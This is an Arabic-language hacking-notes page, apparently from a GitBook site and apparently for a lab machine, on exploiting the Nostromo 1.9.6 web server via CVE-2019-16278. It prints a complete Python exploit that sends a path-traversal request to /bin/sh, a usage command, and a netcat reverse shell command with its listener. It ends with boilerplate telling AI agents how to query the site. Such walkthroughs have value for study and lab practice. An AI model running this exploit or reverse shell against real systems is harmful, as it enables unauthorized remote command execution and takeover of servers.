> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/cms/nostromo-cms-exploitation.md).

# نستورمو

ملاحظات استغلال Nostromo لتنفيذ الأوامر عن بُعد CVE-2019-16278، وتسليم صدفة عكسية، واستكشاف HomeDirs.

## تنفيذ أوامر عن بُعد (RCE) في Nostromo CVE-2019-16278

**أبحاث الاستغلال:** `searchsploit` يحدد استغلالًا لتنفيذ الأوامر عن بُعد في Nostromo 1.9.6.

<figure><img src="/files/2ceeff08faa197a9c053542f225886a364653423" alt="" width="563"><figcaption></figcaption></figure>

قم بتنزيل إثبات المفهوم من GitHub.

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**تشغيل السكربت:** استخدم السكربت التالي لتنفيذ الأوامر على الخادم:

```python
import argparse
import socket

# إعداد argparse
parser = argparse.ArgumentParser(description="استغلال CVE-2019-16278 - RCE في Nostromo 1.9.6")
parser.add_argument("-t", "--target", help="المضيف البعيد المراد استهدافه")
parser.add_argument("-p", "--port", help="المنفذ البعيد المراد استهدافه")
parser.add_argument("-c", "--command", help="الأمر المراد تنفيذه على الخادم")
parser.add_argument("-b", "--bytes", help="عدد البايتات المطلوب استلامها في الاستجابة")

# تعريف المتغيرات وتعيينها
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# بناء الحمولة وترميزها
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# إنشاء المقبس وإرسال الحمولة
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# استلام الاستجابة وإغلاق المقبس
print(s.recv(1024).decode())
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="/files/8e2b53ae5a30bf26622bf428a1499f326bd28957" alt="" width="563"><figcaption></figcaption></figure>

**الحصول على صدفة عكسية:**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="/files/1812433398f751a7b7b807a63b2737956a516369" alt=""><figcaption></figcaption></figure>

## ملاحظة ذات صلة

<table data-view="cards" data-full-width="false" data-search="false"><thead><tr><th></th><th></th><th></th><th data-hidden data-card-target data-type="content-ref"></th></tr></thead><tbody><tr><td><h3><i class="fa-server" style="color:$primary;">:server:</i></h3></td><td><h4>إعداد HomeDirs</h4></td><td>ملاحظات استكشاف HomeDirs في Nostromo لمراجعة nhttpd.conf، واكتشاف public_www، والوصول إلى protected-file-area، واستخراج أرشيف النسخ الاحتياطية، واستعادة مفتاح SSH.</td><td><a href="/pages/b2f0d4871b12d03f68ad443fcfc7c727b085c2ec">/pages/b2f0d4871b12d03f68ad443fcfc7c727b085c2ec</a></td></tr></tbody></table>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/cms/nostromo-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
